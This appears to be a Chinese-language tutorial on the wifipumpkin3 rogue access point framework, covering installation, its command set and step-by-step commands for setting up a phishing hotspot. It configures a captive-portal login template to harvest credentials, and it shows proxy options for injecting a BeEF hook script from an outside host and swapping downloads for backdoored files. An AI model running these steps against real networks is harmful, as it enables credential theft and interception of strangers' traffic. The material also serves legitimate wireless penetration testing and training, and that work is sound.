视频教程

B站:https://www.bilibili.com/video/BV1Ab4y1H7Tv

攻击种类

  • 恶意接入点攻击
  • 中间人攻击
  • 解除认证攻击模块
  • extra-captiveflask 模板的模块
  • 流氓DNS 服务器
  • 俘虏门户攻击(captiveflask)
  • 拦截、检查、修改和重放网络流量
  • WiFi网络扫描
  • DNS监控服务
  • 凭证收集
  • 透明代理
  • LLMNR、NBT-NS 和 MDNS 毒药(Responder3
  • RestFulAPI(已禁用)
  • 还有更多

安装

wifipumpkin3编写的Python 3,你的机器上需要有一个可以工作的 Python(3.7 或更高版本)。

注意

  • 不支持Windows
  • 不支持Mac OS X。只有docker版本,但没有经过测试。

要求

您需要有一个支持接入点 (AP) 模式的 Wi-Fi 适配器。以下操作系统列表代表推荐的运行环境wifipumpkin3(wp3),因为大多数必需的依赖项都已预先安装。还建议使用 VM 或 docker。

工具(预装)

  • iptables(当前:iptables v1.6.1)
  • iw(当前:iw 版本 4.14)
  • 网络工具(当前:版本(1.60+)
  • 无线工具(当前:版本 30~pre9-12)
  • hostapd(当前:hostapd v2.6)

操作系统(推荐)

系统 版本
Ubuntu 18.04 LTS 仿生
Docker Ubuntu 18.04.4 LTS 仿生

Debian/Ubuntu

wifipumpkin3 使用端口 53 安装 python dns 服务器,当我尝试在 Ubuntu 18.04 上安装时,我收到一些错误,因为这个“端口 53 被另一个进程使用”。这个问题是由 systemd-resolved 引起的,只能按照下面的步骤来解决。

  1. 停止 systemd-resolved “sudo systemctl stop systemd-resolved”
  2. 用这些编辑/etc/systemd/resolved.conf
1
sudo apt install python3.7-dev libssl-dev libffi-dev build-essential python3.7
1
2
3
git clone https://github.com/P0cL4bs/wifipumpkin3.git
cd wifipumpkin3
sudo make install

*.deb从 GitHub Releases获取 Debian软件包

1
sudo dpkg -i wifipumpkin3-1.0.0-all.deb 

Kali Linux安装

Kali Linux默认已经安装了python3.8兼容的wp3,我推荐安装一些系统包,操作系统级别的依赖

1
2
sudo apt install libssl-dev libffi-dev build-essential
git clone https://github.com/P0cL4bs/wifipumpkin3.git

或者检查pyqt5是否安装成功:

1
python3 -c "from PyQt5.QtCore import QSettings; print('done')"

如果等于done

安装wifipumpkin3

1
2
cd wifipumpkin3
sudo python3 setup.py install

运行 wifipumpkin3

1
sudo  wifipumpkin3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
zss>> wifipumpkin3                                                                                                               1 ⨯

.,'
.''.'
.' .'
_.ood0Pp._ ,' `.~ .q?00doo._
.od00Pd0000Pdb._. . _:db?000b?000bo.
.?000Pd0000Pd0000PdbMb?0000b?000b?0000b.
.d0000Pd0000Pd0000Pd0000b?0000b?000b?0000b.
d0000Pd0000Pd00000Pd0000b?00000b?0000b?000b.
00000Pd0000Pd0000Pd00000b?00000b?0000b?0000b
?0000b?0000b? WiFiPumpkin3 00Pd0000Pd0000P
?0000b?0000b?0000b?00000Pd00000Pd0000Pd000P
`?0000b?0000b?0000b?0000Pd0000Pd0000Pd000P'
`?000b?0000b?000b?0000Pd000Pd0000Pd000P
`~?00b?000b?000b?000Pd00Pd000Pd00P'
`~?0b?0b?000b?0Pd0Pd000PdP~'
codename: Guaraci
by: @mh4x0f - P0cL4bs Team | version: 1.0.9 dev
[*] Session id: 320aeef8-7366-11ec-ac5d-dca632487d72
Starting prompt...
wp3 >

查看网络设备器

查看是否支持ap

1
iw list

image-20220112134142825

使用

参数

基本的命令

这个命令是在启动的时候使用的

1
2
3
4
5
6
7
-i 	要绑定的网络接口,如果为空,则默认接口是旧会话启动。
-s 用于继续攻击的会话,如果您传递旧的会话 ID,所有日志将添加到同一会话中
--pulp 交互式会话可以使用 .pulp 文件编写脚本,这是一种自动化攻击的强大方法
--xpulp 每个命令可以单独执行,也可以由 ; 连接起来。在字符串中
--wireless-mode 使用此选项设置无线模式(静态、docker),默认为static 模式,但如果您想在 docker 容器上运行,您可以更改
--no-colors 禁用终端颜色和效果
-v, --version 显示程序的版本号并退出

核心命令

这个是在启动后用到

我们进入help查看帮助信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
wp3 > help

[*] Available Commands:
=======================


Core Commands:
==============

Command Description
------- -----------
banner display an awesome wp3 banner
exit exit program and all threads
help show this help
ignore the message logger will be ignored
info get information about proxy/plugin settings
kill terminate a module in background by id
restore the message logger will be restored
search search modules by name
set set variable proxy,plugin and access point
show show available modules
update pulling updates from remote git repository
use select module for modules

Ap Commands:
============

Command Description
------- -----------
ap show all variable and status from AP
clients show all connected clients on AP
dhcp choise dhcp server configuration
dhcpmode show/set all available dhcp server
dump dump informations from client connected on AP
jobs show all threads/processes in background
mode all wireless mode available
start start access point service
stop stop access point service

Network Commands:
=================

Command Description
------- -----------
plugins show all available plugins
proxies show all available proxies

英语不好我在这里翻译一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
[*] 可用命令:
========================
核心命令:
===============
命令说明
-------- -----------
banner 显示一个很棒的 wp3 横幅
exit 退出程序和所有线程
help 显示此帮助
ignore 消息记录器将被忽略
info 获取有关代理/插件设置的信息
kill 在后台通过 id 终止模块
restore 消息记录器将被恢复
search 称搜索搜索模块
set 变量代理、插件和接入点
show 显示可用模块
update 从远程 git 存储库拉取更新
use 模块使用选择模块

应用命令:
=============
命令说明
-------- ----------
ap 显示来自 AP 的所有变量和状态
clients 显示 AP 上所有连接的客户端
dhcp 选择 dhcp 服务器配置
dhcpmode 显示/设置所有可用的 dhcp 服务器
dump 连接在 AP 上的客户端转储转储信息
jobs 在后台显示所有线程/进程
mode 所有可用的无线模式
start 启动接入点服务
stop 停止接入点服务

网络命令:
==================
命令说明
-------- -----------
plugins 显示所有可用的插件
proxies 显示所有可用的代理

搭建简单钓鱼热点

查看来自 AP 的所有变量和状态

1
2
3
4
5
6
7
8
wp3 > ap

[*] Settings AccessPoint:
=========================

BSSID | SSID | Channel | Interface | Status | Security
-------------------+--------+-----------+-------------+-------------+------------
BC:F6:85:03:36:5B | wifipumpkin3 | 11 | eth | not Running | false

选择网卡

1
wp3 > set interface wlan0

设置热点名称

1
wp3 > set ssid zss

设置代理插件(后面会讲)

1
wp3 > set proxy noproxy

现在查看他的ap配置

1
2
3
4
5
6
7
8
wp3 > ap

[*] Settings AccessPoint:
=========================

BSSID | SSID | Channel | Interface | Status | Security
-------------------+--------+-----------+-------------+-------------+------------
BC:F6:85:03:36:5B | zss | 11 | wlan0 | not Running | false

启动

1
wp3 > start

加载自己的配置文件

文件方式加载

用到的是--pulp参数

格式

1
sudo wifipumpkin3 --pulp 文件名

我们可以导入配置好的.pulp 文件

文件内容保存在/home/kali/wifipumpkin3/demo.pulp

1
2
3
set interface wlan1
set ssid zss
set proxy noproxy

加载我的配置文件启动

1
sudo wifipumpkin3 --pulp /home/kali/wifipumpkin3/demo.pulp

看一下结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
zss>> sudo wifipumpkin3 --pulp /home/kali/wifipumpkin3/demo.pulp 

.,'
.''.'
.' .'
_.ood0Pp._ ,' `.~ .q?00doo._
.od00Pd0000Pdb._. . _:db?000b?000bo.
.?000Pd0000Pd0000PdbMb?0000b?000b?0000b.
.d0000Pd0000Pd0000Pd0000b?0000b?000b?0000b.
d0000Pd0000Pd00000Pd0000b?00000b?0000b?000b.
00000Pd0000Pd0000Pd00000b?00000b?0000b?0000b
?0000b?0000b? WiFiPumpkin3 00Pd0000Pd0000P
?0000b?0000b?0000b?00000Pd00000Pd0000Pd000P
`?0000b?0000b?0000b?0000Pd0000Pd0000Pd000P'
`?000b?0000b?000b?0000Pd000Pd0000Pd000P
`~?00b?000b?000b?000Pd00Pd000Pd00P'
`~?0b?0b?000b?0Pd0Pd000PdP~'
codename: Guaraci
by: @mh4x0f - P0cL4bs Team | version: 1.0.9 dev
[*] Session id: 46e8dee6-736d-11ec-b6d8-dca632487d72

[*] mode: script

[*] plugin: /home/kali/wifipumpkin3/demo.pulp # 加载了
=============================================

Starting prompt...
wp3 > ap

[*] Settings AccessPoint:
=========================

BSSID | SSID | Channel | Interface | Status | Security
-------------------+--------+-----------+-------------+-------------+------------
BC:F6:85:03:36:5B | zss | 11 | wlan1 | not Running | false

命令行方式加载

用到的是--xpulp参数

格式

1
sudo wifipumpkin3 --xpulp "set interface wlan1; set ssid zss; set proxy noproxy;"

演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
zss>> wifipumpkin3 --xpulp "set interface wlan1; set ssid zss; set proxy noproxy;"

Jgy__
jWW `""9Wf
_#WWW IW
jWWWWW IW
__,yyyyyWWWWW IWyyyy___
_jyWWP"^``"`.C"9*,J _.mqD:^^"WWWWWWQg__
jgW"^.C/" .C' I `D. 'D._"WQg_
jWP` .C" C' I `D._ `D._ "Qg_
jQP` .C ,d^^b._ I _.d^^b. `D._ "Qg
jQ^ .C" /` .+" \ I / "+. `\ `D. XQ
jQ' .C' |` ." ) _I ( ". | `D. 4#
Qf .C ( ( / / /\ \ ) ) `D. Qg
jW C' \__\_.+' / / \ `+._/__/ `D jQ
Qf C C /_/ \ D D Qk
Qf C _ C \_\____/ D _ D QF
QL C \`+.__ _______ ______.+'/ D QF
B& C. \ \| || | || / D Qf
jQ `C. \ |____|/ |____|/__ / .D' jW
TQ `C. \._ `+.__________/___/|_/ .D' jQ`
9Q `C. C.`+._ | |/.D' .D' jQ'
"Qg `C. `C. `"+-------' ' .D' .D' pW`
^WQy `C. `C. I .D' _.D' yW"
^9Qy_`C. `C. I .D' _.D jgW"
`9WQgC.__ `C. I .D' _.Dp@@"`
ilmk `""9WQQggyyyyyygyyyyyQggQWQH""
codename: Guaraci
by: @mh4x0f - P0cL4bs Team | version: 1.0.9 dev
[*] Session id: cebf5d5e-736d-11ec-aaff-dca632487d72
Starting prompt...
wp3 > ap

[*] Settings AccessPoint:
=========================

BSSID | SSID | Channel | Interface | Status | Security
-------------------+--------+-----------+-------------+-------------+------------
BC:F6:85:03:36:5B | zss | 11 | wlan1 | not Running | false

插件的使用

启用或禁用插件

1
wp3 > set plugin plugin_name true或者false

自定义页面登录

他的配置文件在/config/templates/

文件架构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
├── preview.png
├── static
│ ├── css
│ │ ├── bootstrap.min.css
│ │ ├── main.css
│ │ ├── styles.css
│ │ └── util.css
│ └── js
│ ├── bootstrap.min.js
│ ├── jquery-1.11.1.min.js
│ └── main.js
└── templates
├── login.html
└── login_successful.html

4 directories, 9 files

代理插件功能

可以用proxies查看模块

1
2
3
4
5
6
7
8
9

[*] Available proxies:
======================

Proxy | Active | Port | Description
--------------+----------+--------+-------------------------------------------------------
pumpkinproxy | False | 8080 | Transparent proxies that you can use to intercept ...
noproxy | True | 80 | Runnning without proxy redirect traffic
captiveflask | False | 80 | Allow block Internet access for users until they o...

可用代理:

  • Pumpkinproxy - 用于拦截 TCP 协议doc上的网络流量的代理
  • captiveflask - 允许阻止用户访问 Internet,直到他们打开页面登录页面。文档
  • noproxy - 在没有代理重定向流量的情况下运行

设置代理插件

1
wp3 > set proxy (模块名Pumpkinproxy或者captiveflask或者noproxy)

启用/禁用插件

1
wp3 > set proxy 模块名 true或者false

pumpkinproxy插件

按tab键

1
2
3
4
5
6
wp3 > set pumpkinproxy.
pumpkinproxy.beef pumpkinproxy.downloadspoof.backdoorWORDpath pumpkinproxy.js_inject.url
pumpkinproxy.beef.url_hook pumpkinproxy.downloadspoof.backdoorXLSpath pumpkinproxy.no-cache
pumpkinproxy.downloadspoof pumpkinproxy.html_inject pumpkinproxy.replaceImages
pumpkinproxy.downloadspoof.backdoorExePath pumpkinproxy.html_inject.content_path pumpkinproxy.replaceImages.path
pumpkinproxy.downloadspoof.backdoorPDFpath pumpkinproxy.js_inject

pumpkinproxy.beef.url_hook

1
wp3 > set pumpkinproxy.beef.url_hook http://172.16.149.141:3000/hook.js

captiveflask强制用户登录

我们此次使用DarkLogin.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
设置热点名称

wp3 > set ssid zss

选择网卡

wp3 > set interface wlan0

设置代理插件

wp3 > set proxy captiveflask

设置模板

wp3 > set captiveflask.DarkLogin true
wp3 > start

参考和相关地址

Wifipumpkin3 - CLI

https://github.com/P0cL4bs/wifipumpkin3